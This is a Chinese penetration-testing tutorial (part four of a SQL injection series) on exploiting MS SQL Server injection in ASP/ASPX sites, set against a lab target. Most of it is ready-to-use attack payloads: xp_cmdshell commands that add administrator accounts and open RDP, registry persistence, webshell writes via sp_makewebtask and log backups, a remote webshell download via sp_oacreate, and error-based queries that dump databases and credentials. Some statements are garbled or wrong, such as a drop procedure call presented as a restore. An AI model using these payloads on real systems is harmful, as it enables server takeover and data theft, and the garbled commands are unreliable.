渗透测试之SQL注入(四)

MsSQL数据库高级查询所带来的注入威胁

MsSQL Serve数据库在Web应用程序开发中也占了很大一部分比例,很多脚本语言都能够与之相结合.下面介绍一下基于ASP+MsSQL环境下的注入攻击技术。

对MsSQL的注入,可采用与Access注入相同的原理和方法,但足利用MsSQL的特性,可以直接实施危害性极大的攻击,或者使用一些高级查询语句,快速得到表名和字段名等数据内容。


1. 注入点类型判断

首先,判断是否是MsSQL注入点,可提交如下查询.

and exists  (select * from sysobjects)

页面返回正常,则说明为MsSQL注入点。 这个怎么分辨是access和mssql再access注入时就提到过

2. 注入点权限判断

检测一下当前用户的数据库操作权限,提交如下查询

and 1=(select IS_SRVROLEMEMBER('sysadmin'))

and 1=(select is_srvrolemember('db_owner'))

and 1=(select is_srvrolemember('public'))

如果上面的第一条查询返回正常页面,则说明当前数据库用户具有sa权限,可直接利用扩展存储进行攻击。

sa为数据库用户中最高权限,而且默认也是系统权限,有了系统权限,对服务器安全威胁是相当高的。如果数据库与Web服务器是同一个服务器,默认情况下攻击者就可以通过MsSQL自带的存储过程对整个服务器进行控制。

如果页面返回出错,则说明不具备sa权限,可用另外两条语句判断其权限。如果权限不足,可通过注入点猜解数据库内容获得管理员账号。

DB_OENER权限的话,我们可以找到WEB的路径,然后用备份的方式得到webshell,有时也可以对注册表进行操作。PUBLIC权限的话,又要面对表和列了,不过MSSQL比ACCESS的“猜”表方便许多,这里是“暴”表,使目标直接暴出来。


myssql手工注入:https://blog.csdn.net/xabc3000/article/details/7615378


3. MsSQL返回信息判断

再提交如下查询。

and @@version>0

从页面返回的错误信息中,可以得到数据库版本信息。如果页面出错,但未返回可利用的信息,则说明MsSQL关闭了错误信息提示,在猜解数据库内容时,就不能用爆库的方法了,只能使用union select联合查询或盲注入攻击方法。

此外,还可以进行如下查询检测,以获得更多的关于MsSQL注入点的信息。

;declare @d int  // 判断MsSQL支持多行语句查询

and (select count (1) from [sysobjects])>=0  //是否支持子查询

and user>O //获取当前数据库用户名

and db_name>0 //获取当前数据库名称

and l=convert (int,db_name ())  或 1=(select db_name ()) //当前数据库名

and 1=(select @@servername)                   //本地服务名

and 1=(Select HAS_DBACCESS ('master'))        //判断是否有库读取权限


4 利用MsSQL扩展存储注入攻击

扩展存储过程是MsSQL提供的特殊功能。所谓“扩展存储过程”,其实就是一个普通的

Windows系统DLL文件,按照某种规则实现了某些函数功能.MsSQL利用扩展存储可以实现许多强大的功能,包括对系统进行操作.利用这个特性,在实施MsSQL注入攻击时,可以更容易地对系统进行控制。

4.1 检测与恢复扩展存储

提交如下查询进行检测。

and 1=(Select count(*) FROM master. dbo.sysobjects  Where xtype ='X' AND name = 'xp_cmdshell')

可查看xp_cmdshell扩展存储过程是否被删除。

and 1=(Select count(*) FROM master. dbo.sysobjects  Where name = 'xp_regread')

可查看xp_regread扩展存储过程是否被删除。

如果扩展存储被删除,可执行如下查询进行恢复。

;exec sp_dropextendedproc 'xp_cmdshell'

上面这条查询语句,是在恢复前先删除xp_cmdshell,以后再在后面重新进行创建,然后执行如下查询。

;exec sp_dropextendedproc ‘xp_cmdshell’ ,’xplog70.dll’

该语句是利用系统中默认的“xplog70.dll”文件,自动恢复xp_cmdshell

如果恢复不成功,说明该文件被改名或删除,可以上传一个“xplog70.dll”文件,自定义路径进行恢复。例如,执行如下查询语句。

;exec sp_dropextendedproc ‘xp_cmdshell’,’c:\xplog70.dll’

4.2 攻击中最常利用的扩展存储

在SQL注入攻击过程中,最常利用到的扩展存储有如下几个。

xp_cmdshell—利用此存储过程可以直接执行系统命令。

xp_regread—利用此存储过程可以进行注册表读取。

xp_regwrit一利用此存储过程可以写入注册表。

xp_dirtre一利用此存储过程可以进行列目录操作。

xp_enumds—利用此存储过程可以进行ODBC连接。

xp_loginconfig-利用此存储过程可以配置服务器安全模式信息。

xp_makecab一一利用此存储过程可以创建压缩卷。

xp_ntsec_enumdomains-利用此存储过程可以查看domain信息。

xp_terminate_jroces一利用此存储过程可以查看终端进程,给出一个进程PID.

结合上面的这些扩展存储,通过提交精心构造的查询语句,可利用扩展存储的强大功能进行攻击。

5.xp_cmdshell扩展执行任意命令

利用xp_cmdshell可执行命令,例如提交如下查询,可查看服务器C盘目录。

;exec master..xp_cmdshell 'dir c:\'

最常见的利用方法是直接添加管理员账号,利用远程终端进行登录控制。

;exec master..xp_cmdshell 'net user test/add'

exec master..xp_cmdshell 'net locaigroup administrators test/add'

执行上面的查询,即可添加一个用户名和密码都为test的管理员账号。然后可以利用命令打开3389远程终端连接,并修改终端连接端口号。

;exec master..xp_cmdshell 'sc config termservice start = auto'

;exec master..xp_cmdshell 'net start termservice'

;exec master..xp_cmdshell 'reg add

"HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server"/v

fDenyTSConnections /t REG_DWORD /D 0X0 /F' //允许外部连接

;exec master..xp_cmdshell 'reg add "

HKEY_LOCAL_MACHINE\SYSTEN\CurrentControlSet\Control\TerminalServer\WinStations\RDP-Tcp"/v PortNumber /t REG_DWORD' //改端口到80

事实上,只要可以执行系统命令,几乎任意的攻击操作都可在此基础上实现进行。

6. xp_regwrite操作注册表与开启沙盒模式

在sa权限下可以调用xp_regwrite写入注册表,查询语句如下。

;xp_regwrite'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\currentversion\run',

'black','REG_SZ','net user test test /add'

这里是写入注册表启动项,系统启动后就会执行“net user test westone”命令,从而在服务器上添加一个test账户。当服务器重新启动登录时,就会自动执行命令添加指定的账户。

还可以利用xp_regwrite来开启沙盒模式,从而执行系统命令。

首先开启沙盒模式,在注入点处提交如下查询。

execmaster..xp regwrite

'HKEY_LOCAL_MACHINE','SOFTNARE\Microsoft\Jet\4.0\Engines','SandBoxMode','REG DWORD',l

然后利用jet.oledb执行如下系统命令。

select * from

openrowset('microsoft.jet.oledb.4.O',';database=c:\windows\system32\ias\ias.mdb','select shell("net user test test /add")')

注意,如果注入点的参数是integer数字型,就可指定“ias.mdb”数据库;如果是string

字符型,则可指定连接dnary.mdb.如果是Windows 2000系统,数据库的路径应该指定为:

"x:\winnt\system32\ias\ias.mdb"。

7. 利用sp_makewebtask写入一句话木马

sa权限可以通过sp_makewebtask,创建一项生成HTML文档的任务,该文档包含执行过的查询返回的数据。在入侵测试的过程中,可以利用sp_makewebtask扩展存储来将一句话木马写入到服务器磁盘中的Web目录下,从而获得对服务器的控制权限。

在写入一句话木马前,首先需要将一句话木马转换成URL格式。然后执行如下查询。

exec sp_makewebtask

'c:\inetpub\wwwroot\yjh.asp','select'' %3C%25%65%78%65%63%75%74%65 %72%65%71%75%65%73%74%28%22%76%61%6C%75%65%22%29%25%3E'''--

8. 利用sp_oacreate存储远程下载文件

sa权限下还可以调用sp_oacreate存储过程来完成更多功能,例如远程下载文件到服务器上,从而间接获得一个WebShell.

这里可以将一个WebShell文件上传到某个网站空间中,假设文件链接地址如下。

http://www.test.com/teat.txt

在注入点处提交如下查询。

DECLARE   @B   varbinary(8000),@hr   int,

@http   INT,@down   INT   EXEC   sp_oacreate

(Microsoft.XMLHTTP],@http  output    EXEC  

@hr  =  sp_oamethod    @http,[Open],null,[GET],

[http://www.test.com/test.txt],O EXEC @hr = sp_oamethod @http,[Send],null EXEC @hr=sp_

OAGetProperty @http,[responseBody],@B output EXEC @hr=sp_oacreate  [ADODB.Stream],@down

output EXEC @hr=sp_OAGetProperty @down, [Type],1 EXEC @hr=sp OASetProperty @down,[mode],3

EXEC @hr=sp_oamethod @down,[Open],null EXEC @hr=sp_oamethod @down,[Write],null,@B EXEC

[hr=so_oamethod @down,[SaveToFile].null.(c:\inetpub\wwwroot\WebShell.asp],l -

即可下载文件“http://www.test.con/test.txt”的内容到

“c:\inetpub\wwwroot\WebShell.asp"成功写入一个WebShell.

9. sp_addlogin扩展管理数据库用户

如果要添加和删除一个sa权限的数据库用户,可执行如下查询。

exec master.dbo.sp_addlogin test,password

exec masterdbo.sp_addsrvrolemember test,sysadmin

10. xp_servicecontrol管理服务

要停掉或激活某个服务,可利用xp_servicecontrol扩展执行查询。

;exec master..xp_servicecontrol 'stop','schedule'

;exec master..xp_servicecontrol 'start','schedule'

;exec master..xp servicecontrol 'start','server'

此外,通过扩展存储,还可以进行差异备份写入WebShell,设置数据库允许远程连接等各种危险的操作。

11. dbowner权限下的扩展攻击利用

当数据库连接账户为dbowner权限时,无法直接利用扩展存储执行各种系统命令,进行攻击的过程比较烦琐。

当注入点为dbo权限时,通常首先利用xp_dirtree扩展存储列出Web目录,然后利用SQL语句创建一个临时表,插入一句话木马到临时表中。然后利用数据库备份语句,将数据库备份到Web目录并保存为ASP格式的文件,即可得到一个一句话木马后门。最后利用一句话木马客户端连接后门,得到WebShell后就可以控制整个服务器了。

11.1 判断数据库用户权限

首先,需要判断当前数据库用户是否为db_owner权限。

在注入点后执行如下查询。

and 1=(SELECT IS_MEMBER('db_owner'));--

如果页面返回正常,说明的确是db_owner权限。

11.2 搜索Web目录

当Web服务器与数据库在同一服务器主机上时,就可以备份一句话木马到Web目录了。但是在备份一句话木马前,首先需要搜索Web目录,可通过如下几个步骤实现。

首先,执行如下查询。

;drop table black;create table temp(dir nvarchar (255), depth varchar(255),files varchar(255),ID int NOT NULL IDENTITY (1,1));--

该语句可创建一个临时表,一共4个字段,前三个字段用于存放执行存储过程xp_dirtree返回的结果,ID字段则方便查询指定内容。

然后执行如下查询。

;insert into temp(dir,depth,files) exec master.dbo.xp_dirtree 'c:',1,1--

利用xp_dirtree扩展查询,将指定目录的文件和文件夹名称插入到临时表中,这里查询的是C盘目录路径。

再执行如下查询。

and (select dir from temp where id=1)>0

语句是查询临时表中的内容,也就是指定的目录文件和文件夹名。由于不能一次性获取所有目录文件和文件夹名,因此需要更改ID的值,依次列出文件和文件夹来。

通过此方法,可以遍历所有盘符,从而找到Web目录路径。


11.3 获取数据库用户名

直接输入如下:

http://192.168.1.55/sqlserver/1.aspx?xxser=1 and db_name() =O--


11.4 写入一句话木马

找到Web目录后,就可以写入一句话木马了。

在注入点后依次执行如下语句。

http://192.168.0.102/sqlserver/1.aspx?xxser=1;alter database testdb set RECOVERY FULL;create table test_tmp(str image);backup log testdb to disk='c:\test1' with init;insert into test_tmp(str) values (0x3C2565786375746528726571756573742822636D64222929253E);backup log testdb to disk='C:\wwwtest\iis-xxser.com--wwwroot\yjh.asp';alter database testdb set RECOVERY simple

执行完毕后,就会在指定的Web目录下生成一个名为“yjh.asp”的后门文件,用一句话木马客户端连接即可得到WebShell.




12. MsSQL 注入攻击案例

这里我就用暗影的aspx构造注射专用页面给大家讲解SA注入,首先我改一下暗影的aspx构造注射专用页面的代码,部分代码如下:

string i =  this.Page.Request.Params["xxser"];  //这里是参数?xxser=1

string sql =  "select * from admin where id="+i ;

System.Data.SqlClient.SqlCommand

command=new System.Data.SqlClient.SqlCommand(sql, conn);

int x = command.ExecuteNonQuery();

Response.Write("最终执行SQL语句为:      "+sql+"\n");

这样我每输入一条注入语句都会在WEB前端看到插入到数据查询的最终SQL语句,有关详细环境搭建大家参照视频课程,这里漏洞测试地址如下:

http://192.168.1.55/sqlserver/1.aspx?xxser=1


MsSQL注入点信息检测

首先,提交如下地址。

http://192.168.1.55/sqlserver/1.aspx?xxser=1 and exists (select * from%20sysobjects)


返回正常信息,说明该注入点类型为MsSQL注入点(图18).如果返回错误那说明对象名不存在,上面(图18)就是对比,再提交如下链接.

http://192.168.1.55/sqlserver/1.aspx?xxser=1 and system_user=0

其中的system_user是查询当前数据库系统的用户名,返回值是字符型,因此在与数字int整型数据进行对比时,会因为类型不匹配而造成数据库报错。从返回的错误信息中,可得知当前系统用户名


再爆一下当前用户名,在浏览器中提交以下链接

http://192.168.1.55/sqlserver/1.aspx?xxser=1and user=0


从返回的信息中可知,当前用户名为dbo。如果返回的是sa,那么可以直接判断出用户的权限,但是这里只有提交如下链接查询的权限

http://192.168.1.55/sqlserver/1.aspx?xxser=1 and 1=(select IS_SRVROLEMEMBER('sysadmin'))


返回正常页面,因此可知此注入点为sa权限,可考虑采用扩展存储进行攻击。再来检测一下是否支持多行语句,提交如下链接。

http://192.168.1.55/sqlserver/1.aspx?xxser=1 %20;declare %20@d%20int


检测扩展存储

先来判断一下xp_cmdshell存储过程是否存在,在浏览器中提交如下链接

http://192.168.1.55/sqlserver/1.aspx?xxser=1 and 1=(select count(*)

frommaster.dbo.sysobjects where name ='xp_cmdshell')


返回正常页面,说明扩展存储存在。

利用扩展存储开启远程终端

假如数据库服务器已经开启远终端服务,允许用户远程管理计算机,可以直接用存储过程执行系统命令添加一个管理员账号,即可登录服务器。如果没有开启,可直接使用以下命令开启(注0改1就是关闭):

http://192.168.1.55/sqlserver/1.aspx?xxser=1;exec master.dbo.xp_regwrite'HKEY_LOCAL_MACHINE','SYSTEM\CurrentControlSet\Control\Terminal Server','fDenyTSConnections','REG_DWORD',0;


首先,开始测试添加账户,在浏览器提交以下链接。

http://192.168.1.55/sqlserver/1.aspx?xxser=1;exec master..xp_cmdshell

'net user test test /add'

上面是利用xp_cmdshell扩展存储,添加一个用户名和密码均为test的用户。再将此用户提升为管理员,提交如下链接。

http://192.168.1.55/sqlserver/1.aspx?xxser=1;exec master..xp_cmdshell 'net localgroup administrators test /add'

即可将test用户加入到管理员组。提交上面的链接时,有的网站页面会返回错误信息(图24),不用管它,实际上用户是添加成功了的。


查看命令执行结果

上面的方法虽然执行了命令,但是看不到执行回显结果。可以通过创建一个临时表,将命令执行结果插入到临时表里面,然后读取临时表里面的内容,就从可看到回显结果了。

在浏览器中依次提交如下链接,为了大家观看,在浏览器执行完命令之后,我们查看一下数据库看郊果

http://192.168.1.55/sqlserver/1.aspx?xxser=1 ;drop table black;create Table black(result varchar(7996) null, id int not null identity (1,1))--

http://192.168.1.55/sqlserver/1.aspx?xxser=1 ;insert into black exec master..xp_cmdshell 'net user'--

http://192.168.1.55/sqlserver/1.aspx?xxser=1 and (select result from black where id=1)>0--


将第三条查询中的“where id=1”依次更换后面的id值,可查询获取命令执行结果。这里提交到如下链接。

http://192.168.1.55/sqlserver/1.aspx?xxser=1 and (select result from black where id=16)>0--

返回了网络配置信息中的IP地址


如果知道Web路径的情况下:   http://192.168.1.55/sqlserver/1.aspx?xxser=1%20;exec%20master..xp_cmdshell%20'netstat%20-an%20>>c:\netstat.txt'-- 这样一下就看到了所有结果。

通过对比ping网站后得到的地址与注入点返回的IP地址信息,可知网站服务器与数据库服务器是同一主机。但是在使用远程桌面连接服务器时,连接超时无法成功,说明远程终端很可能被关闭了,或者更改了端口。

获取当前Web目录

虽然可以通过命令来开启远程终端,但是这比较麻烦,可以考虑执行sp_makewebtask写入一句话木马,再上传一个WebShell,利用WebShell更方便地执行各种命令操作。

将一句话木马写入到服务器磁盘,一般是写入Web目录,因此先要获得当前目录路径。再在浏览器中依次提交如下链接。

第一种方法:

http://192.168.1.55/sqlserver/1.aspx?xxser=1 ;drop table black;create Table black(result varchar(7996) null, id int not null identity (1,1))--

http://192.168.1.55/sqlserver/1.aspx?xxser=1 ;insert into black exec master..xp_cmdshell 'dir /s c:\1.aspx'--

http://192.168.1.55/sqlserver/1.aspx?xxser=1 and (select result from black where id=1)>0--

第二种方法:

http://192.168.1.55/sqlserver/1.aspx?xxser=1; create table labeng(lala nvarchar(255) null, id int not null identity (1,1))--

http://192.168.1.55/sqlserver/1.aspx?xxser=1;DECLARE @result varchar(255) EXEC master.dbo.xp_regread 'HKEY_LOCAL_MACHINE','SYSTEM\ControlSet001\Services\W3SVC\Parameters\Virtual Roots','/',@result output insert into labeng(lala) values(@result);

http://192.168.1.55/sqlserver/1.aspx?xxser=1;and 1=(select top 1 lala from labeng)或者and 1=(select count(*) from labeng where lala>1)

发现并非真实的Web路径。看来只有用dir命令慢慢查找Web路径。在浏览器中提交如下链接。

第三种方法:

http://192.168.1.55/sqlserver/1.aspx?xxser=1;drop table black;create Table black(result varchar(7996) null, id int not null identity (1,1))--

http://192.168.1.55/sqlserver/1.aspx?xxser=1 ;insert into black exec master..xp_cmdshell 'dir c:\ '--

http://192.168.1.55/sqlserver/1.aspx?xxser=1 and (select result from black where id=1)>0--

依次增加id的值,最后在C盘wwwtest目录中发现了当前网站,提交以下链接

http://192.168.1.55/sqlserver/1.aspx?xxser=1 and (select result from black where id=15)>0--


返回了一个名为“wwwtest”的目录。从目录名上来看,很可能是Web路径。再用上面的方法查看该目录下的文件,发现是Web目录。

写入一句话木马

先将一句话木马转换成URL格式,木马内容如下。

<%eval request("chopper")%>

转换成URL格式如下


然后在浏览器中提交如下链接。

http://192.168.1.55/sqlserver/1.aspx?xxser=1;exec sp_makewebtask 'c:\wwwtest\1.asp','select''%3c%25%65%76%61%6c%20%72%65%71%75%65%73%74%28%22%63%68%6f%70%70%65%72%22%29%25%3e'''--

如果报错,可以用exec sp_configure 'Web AssistantProcedures', 1; RECONFIGURE进行恢复,恢复还不行,换成前面的方法或者差异备份方法都可以http://192.168.0.102/sqlserver/1.aspx?xxser=1%20;exec%20master..xp_cmdshell%20'Echo%20"<%eval%20request("chopper")%>"%20>>%20c:\wwwtest\iis-xxser.com--wwwroot\muma.asp'--


页面中返回execute执行错误信息,说明一句话木马写入成功。使用一句话木马客户端连接木马,可以方便地上传一个大型的ASP木马后门


13. MsSQL注入猜解数据库技术

如果权限足够,利用MsSQL数据库的特性,是可以很轻易地入侵控制网站服务器的。但是很多时候注入点不一定能够执行存储过程,或者连接数据库的用户权限不够,那么就得像Access数据库那样猜解管理员表的字段、内容,进入后台想办法拿WebShell。

13.1 having与group by查询爆表名和字段名

在注入点地址后提交“having 1=1--",从返回的错误信息中即可得到当前表名与第一个字段名。再继续提交以下代码。

group by   字段名 1 having  1-1--

从页面返回的错误信息中,即可得知第二个字段名。继续提交以下代码。

group by 字段名1,字段名2 having 1=1--

返回第三个字段名。继续提交以下代码。

group by 字段名1,字段名2,字段名3…字段名n having 1=1--

直到页面返回正常信息,即可得到所有的字段名。

13.2 参考案例:MsSQL爆表与字段名

1.爆表名及字段名

http://192.168.1.55/sqlserver/1.aspx?xxser=1 having 1=1--


继续猜解其他字段名,提交以下链接。

http://192.168.1.55/sqlserver/1.aspx?xxser=1 group by admin.id having 1=1--


继续猜解当前表中的下一个字段名。

http://192.168.1.55/sqlserver/1.aspx?xxser=1 group by admin.id,admin.name having 1=1--


用同样的方法,提交爆出其他的数据字段名,直到页面不再返回错误住处,你就可以提到所有的字段名。

14. order by与数据类型转换爆错法

如果MsSQL数据库打开了错误回显,那么可以通过MsSQL数据库的返回信息爆出所有数据库信息。此方法非常强大,可获得所有数据库名、任意表和字段的名称、内容。

14.1.爆所有数据库名

可直接在注入地址处提交如下查询语句。

http://192.168.1.55/sqlserver/1.aspx?xxser=1 and db_name() =0--


从返回的出错信息中即可获得当前数据库名。要爆所有的数据库名,可以使用如下查询语句。

http://192.168.1.55/sqlserver/1.aspx?xxser=1 and db_name(3)>0--


当数字n为1时,即可得到第一个数据库名,n为2时可得到第二个数据库名。通过增加n的值,可以遍历出所有的数据库名称。

另外,也可以在注入点后提交如下语句。

http://192.168.1.55/sqlserver/1.aspx?xxser=1%20and%200=(select%20top%201%20cast([name]%20as%20nvarchar(256))%2bchar(94)%2bcast([filename]%20as%20nvarchar(256))%20from%20(select%20top%203%20dbid,name,filename%20from%20[master].[dbo].[sysdatabases]%20order%20by%20[dbid])%20t%20order%20by%20[dbid]%20desc)--


14.2.爆当前库中的所有表与跨库爆表

在注入点后提交如下查询语句。

http://192.168.0.102/sqlserver/1.aspx?xxser=1%20and%20(select%20cast(count(1)%20as%20varchar(10))%2bchar(94)%20from%20[sysobjects]%20where%20xtype=char(85)%20and%20status!=1)=1--


即可爆出当前数据库中全部表的数目。

http://192.168.1.55/sqlserver/1.aspx?xxser=1%20and%20(select%20top%201%20cast%20(name%20as%20varchar(256))%20from(select%20top%202%20id,name%20from%20[sysobjects]%20where%20xtype=char(85)%20and%20status!=1%20order%20by%20id)t%20order%20by%20id%20desc)=1--


and(select top 1 cast (name as varchar(256)) from(select top 数字n id,name from [sysobjects] where xtype=char(85) and status! =0 order by id)t order by id desc)=0--

递增上面查询语句中的数字n,就可以遍历出当前数据库中的所有表名。

如果要爆出任意数据库中的表名,则可提交如下查询语句。

http://192.168.0.102/sqlserver/1.aspx?xxser=1 and 0<>(select top 1 name from testdb.dbo.sysobjects where xtype=0x7500 and name not in (select top 1 name from testdb.dbo.sysobjects where xtype=0x7500))--

递增上面查询语句中的数字n,就可以遍历出指定数据库中的所有表名。

14.3.爆所有字段名

获得表名后,就可以爆表中的字段名了。首先,提交如下查询语句。

and (select top 1 cast (id as nvarchar (20)) %2bchar(124) from [库名]..[sysobjects] where name='表名 ') =0--

可以爆出指定表的dbid值,根据表的dbid值才能定位到表中的字段。提交如下查询语句。

and(select cast(count(1) as varchar (10)) %2bchar (94) from[库名]..[syscolumns] where id=dbid 值)=0--

可以爆出得到字段列名数目,然后提交如下查询语句。

and (select top 1 cast(name as varchar(8000)) from (select top n colid,name from [库名]..[syacolumns] where id=dbid 值 order by colid) t order by colid desc)=0--

通过递增n的值,就可以得到所有字段名。

14.5.快速查询包含管理员账号的表名及字段名

对于MsSQL数据库,其中往往有许多数据内容,一个一个地爆字段太麻烦了,通常要快速找到包含管理员账号的表名和字段名,可以查询包含" user”或“pass”之类关键字的表名和字段名。选择关键字后,提交如下查询。

and (select top 1 t_name%2bchar(124)%2bc_name from (select top 20 object_name(id) as t_name, name as c_name  from syscolumns where charindEx(cast(关键字十六进制 as varchar (2000)),name)>O and left (name, 1)!=0x40 order by t_name asc) as T order by t_name desc) >0--

从返回信息中,即可得到包含关键字的表名和字段名了。

14.6.爆字段内容

首先,要爆出列的总数目,提交如下语句。

and  (select cast (count (1) as varchar (8000) ) %2bchar(94)from[库名]..[表名]where 1=1) >0--

即可从返回信息中查看到字段的记录数目。然后就可以开始爆指定字段的值了,提交如下语句。

and  (select  top  1  isnull

(cast([字段1 as nvarchar(4000)),char(32))%2bchar(94)%2bisnull (cast ([字段 2 ] as nvarchar (4000)),char(32))  from [表名] where 1=1 order by [字段1])=O--

可得到第一个数据内容,再提交如下语句.

and (select top 1 isnull(cast([字段1] as nvarchar(4000)),char(32))%2bchar(94)%

2bisnull (cast ([字段2] as  nvarchar(4000)),char(32)) from [表名] where 1=1 and name not in (select top n name from [表名]) where 1=1 order by [字段1]))=0--

通过递增n的值,就可以得到其他字段记录内容了。


更新中

你可能感兴趣的:(渗透测试之SQL注入(四))